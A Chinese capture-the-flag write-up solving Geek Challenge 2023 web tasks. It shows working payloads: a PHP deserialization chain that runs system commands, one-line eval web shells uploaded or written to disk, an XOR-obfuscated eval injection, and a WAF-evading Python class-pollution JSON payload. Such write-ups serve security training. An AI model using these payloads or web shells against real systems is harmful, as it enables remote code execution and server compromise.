当前位置: 首页 > article >正文

[Geek Challenge 2023] web题解

文章目录

    • EzHttp
    • unsign
    • n00b_Upload
    • easy_php
    • EzRce
    • ezpython
    • ezrfi


EzHttp

按照提示POST传参
发现密码错误
在这里插入图片描述F12找到hint,提示./robots.txt
在这里插入图片描述
访问一下,得到密码
然后就是http请求的基础知识
抓包修改
在这里插入图片描述
最后就是
在这里插入图片描述
我们直接添加请求头O2TAKUXX: GiveMeFlag
得到flag
在这里插入图片描述

unsign

源码

<?php
highlight_file(__FILE__);
class syc
{
    public $cuit;
    public function __destruct()
    {
        echo("action!<br>");
        $function=$this->cuit;
        return $function();
    }
}

class lover
{
    public $yxx;
    public $QW;
    public function __invoke()
    {
        echo("invoke!<br>");
        return $this->yxx->QW;
    }

}

class web
{
    public $eva1;
    public $interesting;

    public function __get($var)
    {
        echo("get!<br>");
        $eva1=$this->eva1;
        $eva1($this->interesting);
    }
}
if (isset($_POST['url'])) 
{
    unserialize($_POST['url']);
}

?>

pop链

syc.__destruct -> lover.__invoke() -> web.__get()

exp

<?php
class syc
{
    public $cuit;
}

class lover
{
    public $yxx;
    public $QW;
}

class web
{
    public $eva1;
    public $interesting;
}

$a=new syc();
$b=new lover();
$c=new web();
$a->cuit=$b;
$b->yxx=$c;
$c->eva1='system';
$c->interesting='cat /flag';
echo serialize($a);
?> 

得到flag
在这里插入图片描述

n00b_Upload

题目对文件名没有检测,后缀可以为php
然后检测MIME类型,我们只需要修改为image/jpeg即可
文件内容一句话木马会被检测,要修改为短标签

创建1.php,写入

<?=@eval($_POST['shell']);?>

bp抓包修改MIME,上传成功
在这里插入图片描述访问,命令执行得到flag
在这里插入图片描述

easy_php

考点:换行绕过,intval函数绕过,sha1绕过,php解析特性

源码

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);

highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
    if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
        if (isset($_POST['qw']) && $_POST['yxx']) {
            $array1 = (string)$_POST['qw'];
            $array2 = (string)$_POST['yxx'];
            if (sha1($array1) === sha1($array2)) {
                if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
                    echo $flag;
                } else {
                    echo "再绕最后一步吧";
                }
            } else {
                echo "好哩,快拿到flag啦";
            }
        } else {
            echo "这里绕不过去,QW可不答应了哈";
        }
    } else {
        echo "嘿嘿嘿,你别急啊";
    }
}else {
    echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?> 

分析一下
利用换行符%0a绕过preg_match()函数;数组绕过sha1;利用科学计数法绕过intval函数;最后是php解析特性[会被解析成下划线
得到flag
在这里插入图片描述

EzRce

考点:异或绕过、无参RCE

源码如下

 <?php
include('waf.php');
session_start();
show_source(__FILE__);
error_reporting(0);
$data=$_GET['data'];
if(waf($data)){
    eval($data);
}else{
    echo "no!";
}
?> 

题目过滤了字母数字,应该是无参rce,不过eval没被过滤
用异或绕过,构造如下

eval(next(getallheaders()));

在这里插入图片描述发现权限不够,那么我们写马蚁剑连接

file_put_contents('shell.php','<?php eval($_POST[1]);?>');

在这里插入图片描述我们查看下权限,发现只有r
在这里插入图片描述

然后就是find命令查找能用的,发现有find命令,得到flag
在这里插入图片描述

ezpython

考点:python原型链污染

源码

import json
import os

from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string

app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
    def __init__(self):
        self.username=""
        self.password=""
        self.isvip=False


class hhh(User):
    def __init__(self):
        self.username=""
        self.password=""

registered_users=[]
@app.route('/')
def hello_world():  # put application's code here
    return render_template("welcome.html")

@app.route('/play')
def play():
    username=session.get('username')
    if username:
        return render_template('index.html',name=username)
    else:
        return redirect(url_for('login'))

@app.route('/login',methods=['GET','POST'])
def login():
    if request.method == 'POST':
        username=request.form.get('username')
        password=request.form.get('password')
        user = next((user for user in registered_users if user.username == username and user.password == password), None)
        if user:
            session['username'] = user.username
            session['password']=user.password
            return redirect(url_for('play'))
        else:
            return "Invalid login"
        return redirect(url_for('play'))
    return render_template("login.html")

@app.route('/register',methods=['GET','POST'])
def register():
    if request.method == 'POST':
        try:
            if waf(request.data):
                return "fuck payload!Hacker!!!"
            data=json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "连用户名密码都没有你注册啥呢"
            user=hhh()
            merge(data,user)
            registered_users.append(user)
        except Exception as e:
            return "泰酷辣,没有注册成功捏"
        return redirect(url_for('login'))
    else:
        return render_template("register.html")

@app.route('/flag',methods=['GET'])
def flag():
    user = next((user for user in registered_users if user.username ==session['username']  and user.password == session['password']), None)
    if user:
        if user.isvip:
            data=request.args.get('num')
            if data:
                if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
                        flag = os.environ.get('geek_flag')
                        return render_template('flag.html',flag=flag)
                else:
                    return "你的数字不对哦!"
            else:
                return "I need a num!!!"
        else:
            return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
    else:
        return "先登录去"

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
            
if __name__ == '__main__':
    app.run(host="0.0.0.0",port="8888")

首先定义了user类,包括三个属性,其中isvip值为false,子类hhh继承user类,只有两个属性;接着就是/register路由,发现实例化的是hhh(),也就是无法改变isvip的值,然后调用merge方法;/login路由实现登录功能;然后看向关键的/flag路由,会检测user.isvip是否为真,接收参数num进行if判断返回flag;最后发现有merge方法说明原型链污染

我们用postman发送如下json数据
__base__是为了指向父类user的isvip从而污染)

{
    "username":"1",
    "password":"1",
    "__class__":{
        "__base__":{
            "isvip":true
        }
    }
}

(后面参考其他师傅博客发现直接污染也行不需要用魔术方法)

发现有过滤,直接Unicode编码

{
    "username":"1",
    "password":"1",
    "__class__":{
        "__base__":{
            "isvi\u0070":true
        }
    }
}

登录进去之后,看九幽玄天神功已经是要你传参了
直接+123456789绕过
在这里插入图片描述

ezrfi

考点:filterchain攻击

打开题目,提示hint.py
测试了一会发现文件包含会拼接.py后缀
在这里插入图片描述然后一步步解密,先base64发现是尊嘟假嘟
继续解密后发现是rc4加密,用密钥Syclover
在这里插入图片描述很明显的要用filterchain绕过
(注意构造的命令长度需要是3的倍数,防止base64编码出错,长度不够就手动添加a)
在这里插入图片描述
查询跟目录
在这里插入图片描述
得到flag
在这里插入图片描述


http://www.kler.cn/a/160730.html

相关文章:

  • MySQL Workbench导入数据比mysql命令行慢
  • jmeter常用配置元件介绍总结之定时器
  • 软件测试面试2024最新热点问题
  • 小面馆叫号取餐流程 佳易王面馆米线店点餐叫号管理系统操作教程
  • DAY6 线程
  • SDL渲染器和纹理
  • [React]基于Antd的FormModal的组件封装以及useFormModal的hooks封装
  • 动态规划学习——最长回文子序列,让字符串变成回文串的最小插入次数
  • swiper和video实现抖音刷视频功能
  • P1005 [NOIP2007 提高组] 矩阵取数游戏
  • 内衣洗衣机哪个牌子好用?家用小型洗衣机推荐
  • 296_C++_一个dialog对话框在执行exec向系统发送一个延后销毁事件时,另一个对话框立刻接管了上一个对话框的销毁事件,导致死UI
  • 定时器的使用及实现
  • MySQL - 并发控制与事务的隔离级别
  • 微服务实战系列之Redis
  • 安卓发布小技巧
  • 一键AI智能改写,一键AI智能生成原创文章
  • 网络安全(一)--网络环境构成,系统的安全
  • 外包干了3个月,技术倒退2年。。。
  • 修改错误的代码和改正错误的人生一样重要
  • 智能成绩表 - 华为OD统一考试(C卷)
  • 台灯应该买什么样的才能护眼?学生护眼必备护眼台灯推荐
  • 【毕业设计】基于雷达与深度学习的摔倒检测——微多普勒效应
  • Linux虚假唤醒
  • Unity传送门特效: The Beautiful Portal/Level up/Teleport/Warp VFX
  • 网络安全缓冲区溢出实验